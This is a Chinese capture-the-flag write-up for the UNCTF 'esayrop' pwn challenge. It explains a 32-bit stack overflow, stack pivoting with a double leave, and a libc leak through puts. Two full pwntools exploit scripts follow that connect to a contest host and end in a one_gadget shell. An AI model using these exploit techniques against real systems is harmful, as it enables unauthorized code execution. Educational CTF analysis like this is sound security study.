• unctf esayrop wp


    题目基本信息

    题目漏洞

    首先在main函数中需要绕过一个if判断才能进入漏洞函数

    漏洞函数中很明显的栈溢出漏洞,同时还控制了返回地址不能超过文件映射到内存的最大地址

    思路

    所以我们的思路很明显,因为函数中控制了返回地址,所以断绝了直接返回运行shellcode的可能,所以我们先通过双leave劫持栈,再在栈上布置返回shellcode的地址即可
    栈的布置有三种打法,
    1、在栈上布置system函数的地址,再双leave后的ret跳到system函数执行,并在栈上的相应位置布置上bin/sh的地址。可是通过多次调试后失败了,虽然程序成功运行了system函数,但是却没有返回shell,这可能是跟环境有关。
    2、在栈上布置shellcode的返回地址,并在程序合适的段中写入shellcode,可是这个文件中并没有可写并可执行的段,所以这个打不通。
    3、在栈上布置one_gadget地址,通过这个成功打通。

    exp脚本

    想要知道one_gadget的地址,就必须泄露靶机的libc库

    from pwn import *
    from LibcSearcher import *
    #context.log_level = 'debug'
    sh = remote('101.71.29.5',10041)
    elf = ELF('./a')
    
    read_plt = elf.plt['read']
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    read_got = elf.got['read']
    main_addr = 0x08048592
    pop_ret = 0x080483b5  
    pop3_ret = 0x08048659 
    leave_ret = 0x08048468
    
    sh.recvuntil('
    ')
    payload = 'a'*0x20 + p32(1717986918)
    sh.sendline(payload)
    
    sh.recvuntil('name?
    ')
    payload = 'a'*0x14  + p32(puts_plt) + p32(pop_ret) + p32(puts_got) + p32(0x0804853D)
    sh.sendline(payload)
    addr = sh.recv(4)
    
    a = hex(u32(addr))
    obj = LibcSearcher('puts',0xf7613140)
    

    获得libc库后,搜索one_gadget对应libc头部的偏移

    这里面one_gadget执行条件涉及到环境问题,一个个试就好,当然也可以自己调,最后给上打通的脚本

    from pwn import *
    from LibcSearcher import *
    context.log_level = 'debug'
    sh = remote('101.71.29.5',10041)
    #sh = process('./a')
    elf = ELF('./a')
    #libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    
    puts_plt = 0x080483e0
    puts_got = 0x08049ff0
    read_plt = 0x080483d8
    read_got = 0x08049fec
    leave_ret = 0x08048468
    pop_ret = 0x080483b5 
    
    sh.recvuntil('
    ')
    payload = 'a'*0x20 + p32(1717986918)
    sh.sendline(payload)
    
    sh.recvuntil('name?
    ')
    payload = 'a'*0x14  + p32(puts_plt) + p32(pop_ret) + p32(puts_got) + p32(0x0804853D)
    sh.sendline(payload)
    
    addr = u32(sh.recv(4))
    base = addr - 389440
    onegadget_addr = base + 0x3a819
    
    sh.recvuntil('name?
    ')
    payload = 'a'*0x10 + p32(0x0804A080) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(0x0804A080) + p32(0x1000)
    sh.sendline(payload)
    sleep(0.1)
    
    payload = p32(0)
    payload += p32(onegadget_addr)
    sh.send(payload)
    
    sh.interactive()
    
  • 相关阅读:
    88. Merge Sorted Array
    87. Scramble String
    86. Partition List
    85. Maximal Rectangle
    84. Largest Rectangle in Histogram
    83. Remove Duplicates from Sorted List
    82. Remove Duplicates from Sorted List II
    81. Search in Rotated Sorted Array II
    80. Remove Duplicates from Sorted Array II
    计算几何——点线关系(叉积)poj2318
  • 原文地址:https://www.cnblogs.com/luoleqi/p/11750560.html
Copyright © 2020-2023  润新知